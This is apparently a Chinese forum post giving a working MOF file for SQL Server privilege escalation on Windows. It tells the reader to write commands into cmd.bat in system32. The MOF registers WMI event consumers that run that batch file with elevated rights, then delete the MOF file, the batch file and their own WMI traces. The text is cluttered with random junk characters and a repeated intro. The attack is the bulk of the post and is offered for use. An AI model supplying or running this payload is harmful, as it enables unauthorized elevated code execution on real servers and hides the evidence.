这个sql提权MOF需要运行 system下的文件,不能定义路径。/ G- U5 u! |! f( h' p* K1 B2 M
需要将要运行的命令写入到bat上传到system32目录,然后执行。
8 d8 Q. K4 r/ J5 `( N c) i. c
. x" G4 j( a6 m9 ?- n# B; s这个sql提权MOF需要运行 system下的文件,不能定义路径。+ B' v# S8 L3 a( ]% y" N8 D( h
需要将要运行的命令写入到bat上传到system32目录,然后执行。9 u& C1 Q5 I3 U, j, r/ x
5 Q. q$ b/ @/ f' [. E9 E
#pragma
7 b; v8 y) F4 s' U5 N namespace("\\\\.\\root\\cimv2")
& S+ I/ C1 C5 u4 G class
- S6 I- `8 s, ?/ c0 ]( Z MyClass547
7 ? J. M: m( ^# k5 N% Y2 T8 K { [key]
2 A% t) ]6 R3 j- |$ @* p string0 v8 Q' V# \4 w& i7 G1 i! d
Name;
% c6 `' r8 ?6 x; m6 A9 W };
& a- Z7 t( _, E! o2 w8 l class1 t3 v2 }, X& s# E( n& W6 ]& b
ActiveScriptEventConsumer7 K, x r( }* P# j2 Z
: __EventConsumer { [key]
) O& e" A; y# u2 m: q2 z string1 J/ a: `3 r2 h" ^5 y3 z* b3 ?$ B
Name; [not_null]* J' N; K4 f8 _
string
# [- z( o2 e: o" A6 i ScriptingEngine; string
6 v9 x3 h, S& n4 g ScriptFileName; [template]
9 l9 e0 O& l1 p" r+ T8 G string( g6 V1 Q8 D+ s' Q
ScriptText; uint32 KillTimeout;
+ c: l" L* i" _2 G7 z+ ?! o }; instance of __Win32Provider as $P {
& h; _. a1 v$ G$ ]: y/ d$ a Name' D1 a! W9 g3 z( j F' T x
=
2 D: V9 y0 Y1 ]: `9 ^0 ?" R "ActiveScriptEventConsumer"; CLSID =8 j# A4 c, x7 ]# Q2 c, g' @
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";6 C7 _1 X/ F8 t: j
PerUserInitialization) ]2 C \8 b7 {0 ?0 U2 v2 V" F% q
= TRUE;6 o3 ]# E; p- Y8 w" r
}; instance of __EventConsumerProviderRegistration { Provider! o5 L& m3 ]7 F$ A
= $P; ConsumerClassNames
[4 w0 i6 @; K7 u, v" p# q# ~- v =
$ @, d$ [/ U. g/ y3 ~ {"ActiveScriptEventConsumer"};) Z5 c: T. F8 D: _
};
: x" ^& r) C( P# P Instance of ActiveScriptEventConsumer; P9 {$ V/ G% ]
as $cons { Name5 m+ q4 d( ^' p2 Y+ _- x( x
= B' X4 O4 w; o% ?, B
"ASEC"; ScriptingEngine
9 g" Q) w0 I- g9 z) c7 p =
# M# ~9 J. M' V; K) I "JScript"; ScriptText
+ S, C7 y9 i% ?! c2 x7 a7 _ =% W5 l& P2 b8 t2 C: e1 ]
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };9 x7 p1 t0 y4 Q" |: ?* q
Instance of ActiveScriptEventConsumer9 v* o5 U: U7 X" ?- n7 K
as $cons2 { Name0 Z0 ^& m& c8 G2 A1 ~9 X) e
=
5 Z9 F6 [; s: W0 G: A, n "qndASEC"; ScriptingEngine" N* V, ^2 x0 v& \1 o( W; z" i
=
# K( v: E3 Y2 w& V "JScript"; ScriptText
! Q6 P( Y! u3 \8 b =
# _! R: @3 T e4 v+ t$ J "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
, z4 b; ]9 S' A* `0 i1 p }; instance of __EventFilter as $Filt { Name
: ^& t8 L7 \4 d n) _ =
: [' B- R# s8 p( U1 o) C "instfilt"; Query
( Q( |& S2 ~" e, N4 u4 W =2 M A( Z/ J4 [, v
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
; B5 w0 O( v3 ?$ a2 ^% z =
& @; p* t1 ~: l1 W "WQL"; }; instance of __EventFilter as $Filt2 { Name) F, `- O% {/ w/ r& [
=
. X8 L$ i9 x+ n8 i "qndfilt"; Query
+ ^& f `' n0 n1 u4 S, R =
3 k' q# d! d8 |! Y" W+ ` "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage! L K$ Y( c- l4 T- F/ p+ E
=+ N( c- |0 Q$ S/ P4 h. B; s4 g
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer4 K2 H0 i! l! }, R9 s0 C3 k
= $cons; Filter
& z) W# R0 k* O, a2 U. i o = $Filt;
- X' L' A) Q# C/ E' C2 Z }; instance of __FilterToConsumerBinding as $bind2 { Consumer
( B: Q: u* c% U6 F- B = $cons2; Filter7 t: {6 q- z+ f; { Q Q* H
= $Filt2;
7 N! ]% C, O, I7 X: A) n }; instance of MyClass547
2 e @; s4 c9 t5 b0 @- t$ `" u$ ? as $MyClass { Name
! @& ?1 U0 u" e =
+ p1 H) l& W( o# ? "ClassConsumer";' J% i" {8 s$ t
}; |